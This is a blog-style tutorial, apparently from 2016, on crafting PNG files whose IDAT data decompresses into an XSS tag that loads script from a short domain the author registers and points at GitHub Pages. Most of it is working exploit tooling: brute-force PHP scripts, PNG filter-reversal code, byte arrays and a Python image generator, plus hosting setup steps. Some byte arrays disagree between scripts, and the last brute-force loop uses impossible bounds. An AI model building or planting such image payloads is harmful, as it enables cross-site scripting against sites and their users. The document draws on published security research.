Update 06/17/2016:

Hosting your payload on github is free. That will save you hosting fees. I have edited the steps below with details on how to do that.

/u/deadmanrose3 has created a python port and has generated several .BZ short domain payloads to save a lot of people registering them the hassle of brute forcing them. Check it out here:

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

Update 06/15/2016:

/u/Vavkamil has made a much better automated tool written in perl to do this. You can check it out here:

https://github.com/vavkamil/PNG-IDAT-chunks

After reading fin1te’s post on “An XSS on Facebook via PNGs & Wonky Content Types“, and idontplaydarts’ post on “Encoding Web Shells in PNG IDAT chunks“, I figured it would be useful to create my own. How hard could it be, right?

Now, I know there are plenty of smart people out there who could whip this up in five minutes and have no issues, but for me, it took quite a bit of research and diving in deep to better understand this process.

Since there is effectively no documentation on the internet other than pseudo-code explaining this, I have decided to document it myself and include scripts to demonstrate how someone can create one of these images themselves.

Please forgive my awful code as I’m sure it could be updated to work better. I’m hoping some of you can give me feedback and submit improvements to me.

Short Explanation

The Website Part

Purchasing a short domain

I used google and found http://shortdomainsearch.com/ with a quick google search. Keep in mind that several of the short domains listed in it are already taken, or not available. It says it updates every 10 minutes but that’s probably a lie. I got my domain http://log.bz registered with GoDaddy for $20. You can probably find one cheaper if you try hard enough.

Creating the payload hosted on your short domain

Now that you own your short domain, you can either buy hosting for your JavaScript file (which could be more expensive), or you can do what I did and host it free on github. To do that, create a free github account and activate it.

Create a new repository and name it whatever you want. I named mine xss. You can be creative if you want. Accept the defaults of leaving the readme generator unchecked.

Click the “import code” button at the bottom and paste this url in the repository field:

https://github.com/logbz/xss/ 1 https : //github.com/logbz/xss/

It will pull in my default index payload. You can modify it how you wish. I defaulted mine to run alert(document.domain) so I can see which domain the payload is being executed on.

Next, create a new file, name it CNAME (all caps is important). put your short domain in the body. Mine looks like this:

log.bz 1 log . bz

Put your short domain in there instead. If you put mine in, it won’t work.

Now you will need to goto your domain provider. If yours is GoDaddy, like mine, you can, login -> under “Domains” click manage -> click the little gear icon -> Manage DNS.

If you have A records already populated, you can edit one of them. If you don’t, you will have to click “Add” on the bottom. Select Type as “A” -> type in an @ sign in the host field -> enter the IP address 192.30.252.153. Add another A record with the host field containing @, and enter the IP address 192.30.252.154.

This could take up to a day to propagate, but usually it happens quicker than that. Try visiting your short domain now, and if the settings propagated, you should see the JavaScript code.

The PNG Part

Engineering our payload to survive GZDeflate

Here’s the spot where most people like me get stuck. The first part is pretty self explanatory, but when trying to engineer the actual PNG, it’s much more difficult.

Essentially, the payload that is stored in the PNG file should look something like this in the end

<SCRIPT src=//LOG.BZ></script> 1 <SCRIPT src = //LOG.BZ></script>

Your payload may have uppercase and lowercase letters in it, that doesn’t really matter. The idea is that we want the end result to be a specially engineered string that survives GZDeflate and PNG encoding filters. To better explain this, I borrowed this image from idontplaydarts‘ blog post:

In order to craft this, we need to work backwards to obtain our desired result.

When working with our payload it’s easier to work with hex.

Convert the payload to hex

<?php echo bin2hex("<SCRIPT src=//LOG.BZ><script>"); ?> 1 2 3 <?php echo bin2hex ( "<SCRIPT src=//LOG.BZ><script>" ) ; ?>

(This is our desired end result)

3c534352495054205352433d2f2f5254462e425a3e3c2f7363726970743e 1 3c534352495054205352433d2f2f5254462e425a3e3c2f7363726970743e

Now comes the tricky engineering part. We have to come up with a way to generate a payload that when GZDeflated, will contain the above hex string.

Here’s a breakdown of the general idea behind this as explained by fin1te:

Prepend 0x00 -> 0xff to the hex string above (one to three times)

-> to the hex string above (one to three times) Append 0x00 -> 0xff to the hex string above (one to three times)

-> to the hex string above (one to three times) Randomly generate a string of bytes and try to GZDeflate it until an error isn’t thrown

Check that the result contains our expected string

This could take forever to do by hand, so like fin1te, I also used a brute force method. It takes much less time to start with a payload that is already close to the one you want to end up with. I started with fin1te’s payload and worked off of that, rather than running a byte-by-byte brute force attempt.

<?php $fileName = 'validhexstring.txt'; $current = file_get_contents($fileName); //////////////////////////////////////////////////////////////// //this script is designed to work with a 6 character domain only (including the .) //if your domain is longer, you may have to adjust this script to brute force an extra byte $domain = strtoupper('log.bz'); //change this to your own domain //////////////////////////////////////////////////////////////// //Don't bother starting at 0x00 because you're probably not gonna find a payload with that starting byte. for ($i = 0x111111111111; $i < 0xffffffffffff; $i++) { //yes I know this code is awful $brute = implode('', str_split(str_pad(dechex($i), 12, '0', STR_PAD_LEFT), 2)); try{ //the first and last hex byte strings contain $deflate = gzdeflate(hex2bin('7ff399281922111510691928276e6e' . $brute . '576e69b16375535b6f')); //uncomment this section if you wanna see the attempts /* echo $deflate; echo "\r

"; */ if (strpos(strtoupper($deflate), '<SCRIPT SRC=//' . $domain . '></SCRIPT>' ) !== false) { $filecontents = bin2hex($deflate); //uncomment this section if you want it to display to the screen /* echo $filecontents; echo "\r

"; */ file_put_contents($fileName, $filecontents); } //endif }//end try block catch(exception $e) { // do nothing if an error occurs } //end catch block } //end for loop ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php $fileName = 'validhexstring.txt' ; $current = file_get_contents ( $fileName ) ; //////////////////////////////////////////////////////////////// //this script is designed to work with a 6 character domain only (including the .) //if your domain is longer, you may have to adjust this script to brute force an extra byte $domain = strtoupper ( 'log.bz' ) ; //change this to your own domain //////////////////////////////////////////////////////////////// //Don't bother starting at 0x00 because you're probably not gonna find a payload with that starting byte. for ( $i = 0x111111111111 ; $i < 0xffffffffffff ; $i ++ ) { //yes I know this code is awful $brute = implode ( '' , str_split ( str_pad ( dechex ( $i ) , 12 , '0' , STR_PAD_LEFT ) , 2 ) ) ; try { //the first and last hex byte strings contain $deflate = gzdeflate ( hex2bin ( '7ff399281922111510691928276e6e' . $brute . '576e69b16375535b6f' ) ) ; //uncomment this section if you wanna see the attempts /* echo $deflate; echo "\r

"; */ if ( strpos ( strtoupper ( $deflate ) , '<SCRIPT SRC=//' . $domain . '></SCRIPT>' ) !== false ) { $filecontents = bin2hex ( $deflate ) ; //uncomment this section if you want it to display to the screen /* echo $filecontents; echo "\r

"; */ file_put_contents ( $fileName , $filecontents ) ; } //endif } //end try block catch ( exception $e ) { // do nothing if an error occurs } //end catch block } //end for loop ?>

We can also accomplish this manually through trial and error. This is a randomly generated hexstring value that I came up with that when deflated, produces my payload with extra bytes on each side of it. Executing this command:

php -r "echo bin2hex(gzdeflate(hex2bin('f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f'))) . PHP_EOL;" 1 php - r "echo bin2hex(gzdeflate(hex2bin('f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f'))) . PHP_EOL;"

shows the result contains our original payload:

fb3c534352495054205352433d2f2f4c4f472e425a3e3c2f7363726970743e5f3d00

If we don’t convert the result to hex:

php -r "echo gzdeflate(hex2bin('f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f')) . PHP_EOL;" 1 php - r "echo gzdeflate(hex2bin('f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f')) . PHP_EOL;"

we can see will produce this payload we want to embed in our malicious image:

�<SCRIPT SRC=//LOG.BZ></script>_= 1 � <SCRIPT SRC = //LOG.BZ></script> _ =

Working with this payload from here on out requires each byte in the string to be separated (0xf3, 0x99, …0x7f).

I made it easier to convert your string payload to an array for php. I coded this up in python.

#!/usr/bin/env python #Insert your payload here payload = "f399281922111510691928276e6e59151c1e581b1f576e69b16375535b6f0e7f" payloadList = [] byteList = [] phpArray = "" for i in range(0, len(payload), 2): payloadList.append(payload[i:i+2]) for i in payloadList: i = str(hex(int(i, 16))) byteList.append(i) for i in byteList: phpArray = ", ".join(byteList) print "array(" + phpArray + ");" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/usr/bin/env python #Insert your payload here payload = "f399281922111510691928276e6e59151c1e581b1f576e69b16375535b6f0e7f" payloadList = [ ] byteList = [ ] phpArray = "" for i in range ( 0 , len ( payload ) , 2 ) : payloadList . append ( payload [ i : i + 2 ] ) for i in payloadList : i = str ( hex ( int ( i , 16 ) ) ) byteList . append ( i ) for i in byteList : phpArray = ", " . join ( byteList ) print "array(" + phpArray + ");"

Result:

array(0xf3, 0x99, 0x28, 0x19, 0x22, 0x11, 0x15, 0x10, 0x69, 0x19, 0x28, 0x27, 0x6e, 0x6e, 0x56, 0x2e, 0x2c, 0x1e, 0x58, 0x1b, 0x1f, 0x57, 0x6e, 0x69, 0xb1, 0x63, 0x75, 0x53, 0x5b, 0x6f, 0xe, 0x7f); 1 array ( 0xf3 , 0x99 , 0x28 , 0x19 , 0x22 , 0x11 , 0x15 , 0x10 , 0x69 , 0x19 , 0x28 , 0x27 , 0x6e , 0x6e , 0x56 , 0x2e , 0x2c , 0x1e , 0x58 , 0x1b , 0x1f , 0x57 , 0x6e , 0x69 , 0xb1 , 0x63 , 0x75 , 0x53 , 0x5b , 0x6f , 0xe , 0x7f ) ;

Engineering our payload to Bypass PNG line filters

As explained on libpng.org, there are five different types of filters. The PNG encoder decides which one it wants to use for each line of the bytes in the scanline.

Since we’re working backwards, we need to engineer a string that when encoded using the PNG encoding methods will result in our DEFLATE-able payload.

idontplaydarts came up with a brilliant method to predict which filters would be applied by encoding the payload with both the inverse of filter 1 and filter 3 and concatenating them. This forces the

encoder to choose filter 3 for the payload and ensures that when the data in the raw image is encoded, the end result is our payload string from the previous step. This code then compresses into the web shell which is stored in the IDAT chunk.

libpng.org shows the algorithm used to reverse the effect of the Sub() filter (filter 1) and Average() filter (filter 3) after decompression by outputting the following values:

Sub(x) + Raw(x-bpp) 1 Sub ( x ) + Raw ( x - bpp )

Average(x) + floor((Raw(x-bpp)+Prior(x))/2) 1 Average ( x ) + floor ( ( Raw ( x - bpp ) + Prior ( x ) ) / 2 )

I created a script to encode our payload with the reverse effects. Using the output of the previous python script, you can paste in your payload array into the payload encoder:

<?php //insert your payload array here and in the other spot below: $p = array(0xf3, 0x99, 0x28, 0x19, 0x22, 0x11, 0x15, 0x10, 0x69, 0x19, 0x28, 0x27, 0x6e, 0x6e, 0x56, 0x2e, 0x2c, 0x1e, 0x58, 0x1b, 0x1f, 0x57, 0x6e, 0x69, 0xb1, 0x63, 0x75, 0x53, 0x5b, 0x6f, 0xe, 0x7f); //reverse 1 for ($i = 0; $i < count($p) -3; $i++){ $p[$i+3] = ($p[$i+3] + $p[$i]) % 256; } foreach ($p as $filter1){ echo "0x" . dechex($filter1); echo ", "; } echo "\r

"; //reverse 3 //reset $p //insert your payload array here as well $p = array(0xf3, 0x99, 0x28, 0x19, 0x22, 0x11, 0x15, 0x10, 0x69, 0x19, 0x28, 0x27, 0x6e, 0x6e, 0x59, 0x15, 0x1c, 0x1e, 0x58, 0x1b, 0x1f, 0x57, 0x6e, 0x69, 0xb1, 0x63, 0x75, 0x53, 0x5b, 0x6f, 0x0e); for ($i = 0; $i < count($p) -3; $i++){ $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256; } foreach ($p as $filter3){ echo "0x" . dechex($filter3); echo ", "; } ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php //insert your payload array here and in the other spot below: $p = array ( 0xf3 , 0x99 , 0x28 , 0x19 , 0x22 , 0x11 , 0x15 , 0x10 , 0x69 , 0x19 , 0x28 , 0x27 , 0x6e , 0x6e , 0x56 , 0x2e , 0x2c , 0x1e , 0x58 , 0x1b , 0x1f , 0x57 , 0x6e , 0x69 , 0xb1 , 0x63 , 0x75 , 0x53 , 0x5b , 0x6f , 0xe , 0x7f ) ; //reverse 1 for ( $i = 0 ; $i < count ( $p ) - 3 ; $i ++ ) { $p [ $i + 3 ] = ( $p [ $i + 3 ] + $p [ $i ] ) % 256 ; } foreach ( $p as $filter1 ) { echo "0x" . dechex ( $filter1 ) ; echo ", " ; } echo "\r

" ; //reverse 3 //reset $p //insert your payload array here as well $p = array ( 0xf3 , 0x99 , 0x28 , 0x19 , 0x22 , 0x11 , 0x15 , 0x10 , 0x69 , 0x19 , 0x28 , 0x27 , 0x6e , 0x6e , 0x59 , 0x15 , 0x1c , 0x1e , 0x58 , 0x1b , 0x1f , 0x57 , 0x6e , 0x69 , 0xb1 , 0x63 , 0x75 , 0x53 , 0x5b , 0x6f , 0x0e ) ; for ( $i = 0 ; $i < count ( $p ) - 3 ; $i ++ ) { $p [ $i + 3 ] = ( $p [ $i + 3 ] + floor ( $p [ $i ] / 2 ) ) % 256 ; } foreach ( $p as $filter3 ) { echo "0x" . dechex ( $filter3 ) ; echo ", " ; } ?>

The output from this code isn’t as pretty as the python, but outputs the necessary array for our image creation script. Don’t forget to remove the last comma at the end of this script’s output.

Creating the PNG image with our encoded payload

Now that we have our payload, lets create our PNG image. Special thanks to hLk_886 who commented on idontplaydarts’ blog post with this script:

#!/usr/bin/env python from PIL import Image import os arr = [0xf3, 0x99, 0x28, 0xc, 0xbb, 0x39, 0x21, 0xcb, 0xa2, 0x3a, 0xf3, 0xc9, 0xa8, 0x61, 0x1f, 0xd6, 0x8d, 0x3d, 0x2e, 0xa8, 0x5c, 0x85, 0x16, 0xc5, 0x36, 0x79, 0x3a, 0x89, 0xd4, 0xa9, 0x97, 0x53, 0xf3, 0x99, 0x28, 0x92, 0x6e, 0x25, 0x5e, 0x47, 0x7b, 0x48, 0x4b, 0x64, 0x92, 0x93, 0x8b, 0x5e, 0x65, 0x63, 0x87, 0x4d, 0x50, 0x9a, 0x94, 0x91, 0xfe, 0xad, 0xbd, 0xd2, 0xb1, 0xcd, 0x77] im = Image.new("RGB", (32, 32)) i = 0 c = 0 while (i < len(arr)): r = arr[i] g = arr[i + 1] b = arr[i + 2] im.putpixel((c, 0), (r, g, b)) i += 3 c += 1 im.save("xsspayload.png") #or whatever you want to call it #end of file 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/usr/bin/env python from PIL import Image import os arr = [ 0xf3 , 0x99 , 0x28 , 0xc , 0xbb , 0x39 , 0x21 , 0xcb , 0xa2 , 0x3a , 0xf3 , 0xc9 , 0xa8 , 0x61 , 0x1f , 0xd6 , 0x8d , 0x3d , 0x2e , 0xa8 , 0x5c , 0x85 , 0x16 , 0xc5 , 0x36 , 0x79 , 0x3a , 0x89 , 0xd4 , 0xa9 , 0x97 , 0x53 , 0xf3 , 0x99 , 0x28 , 0x92 , 0x6e , 0x25 , 0x5e , 0x47 , 0x7b , 0x48 , 0x4b , 0x64 , 0x92 , 0x93 , 0x8b , 0x5e , 0x65 , 0x63 , 0x87 , 0x4d , 0x50 , 0x9a , 0x94 , 0x91 , 0xfe , 0xad , 0xbd , 0xd2 , 0xb1 , 0xcd , 0x77 ] im = Image . new ( "RGB" , ( 32 , 32 ) ) i = 0 c = 0 while ( i < len ( arr ) ) : r = arr [ i ] g = arr [ i + 1 ] b = arr [ i + 2 ] im . putpixel ( ( c , 0 ) , ( r , g , b ) ) i += 3 c += 1 im . save ( "xsspayload.png" ) #or whatever you want to call it #end of file

If you run this and receive any kind of error, you may not have an even number of bytes in your array. Remember how we prepended / appended additional bytes to our payload? Take off one of the additional bytes and it see if it works. Remember, not all payloads will work. It may take some trial and error to get the correct end result.

Here’s my end result:

One thing to mention is as of right now, this method is only good for creating PNG’s that are 40 x 40 or smaller. I’m sure a bigger payload could be created, but there would be more work involved.

Troubleshooting

Chances are, you might have issues the first couple of times you try this. I definitely did, and I didn’t have very much documentation to work off of other than pseudo-code and confusing parts.

Some of the key parts I learned from this through trial and error is that it’s important to concatenate the filter 1 result with filter 3, and not vice versa. I ran through this using idontplaydarts’ payload until I was able to achieve the same results as him.

The most common issue I ran into was finding characters were not surviving the encoding/GZDeflate steps. At first, I had my entire payload correct except the “>” which somehow changed to a “~”. If this happens, it helps to add extra bytes to the beginning or end of the payload string. You may have to experiment via trial and error.

if you want to bruteforce your payload from the beginning, you could cook up something like this, changing around the payload to your own domain. This script is not coded very well either, but it can at least get you somewhere.

<?php $fileName = 'validhexstring.txt'; $current = file_get_contents($fileName); for ($i = 0x000000000000000000000000000000000000000000000000000000000000000000000; $i < 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; $i++) { $brute = implode('', str_split(str_pad(dechex($i), 32, '0', STR_PAD_LEFT), 2)); try{ $deflate = gzdeflate(hex2bin($brute)); if (strpos(strtoupper($deflate), '<SCRIPT SRC=//LOG.BZ></SCRIPT>') !== false) { $filecontents = bin2hex($deflate); file_put_contents($fileName, $filecontents); } } catch(exception $e) { // } } ?> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $fileName = 'validhexstring.txt' ; $current = file_get_contents ( $fileName ) ; for ( $i = 0x000000000000000000000000000000000000000000000000000000000000000000000 ; $i < 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ; $i ++ ) { $brute = implode ( '' , str_split ( str_pad ( dechex ( $i ) , 32 , '0' , STR_PAD_LEFT ) , 2 ) ) ; try { $deflate = gzdeflate ( hex2bin ( $brute ) ) ; if ( strpos ( strtoupper ( $deflate ) , '<SCRIPT SRC=//LOG.BZ></SCRIPT>' ) !== false ) { $filecontents = bin2hex ( $deflate ) ; file_put_contents ( $fileName , $filecontents ) ; } } catch ( exception $e ) { // } } ?>

A special thanks to idontplaydarts and fin1te for pretty much the only documentation on this that I could find on the internet and to Matt Devries and Ty Bross who helped me debug my scripts.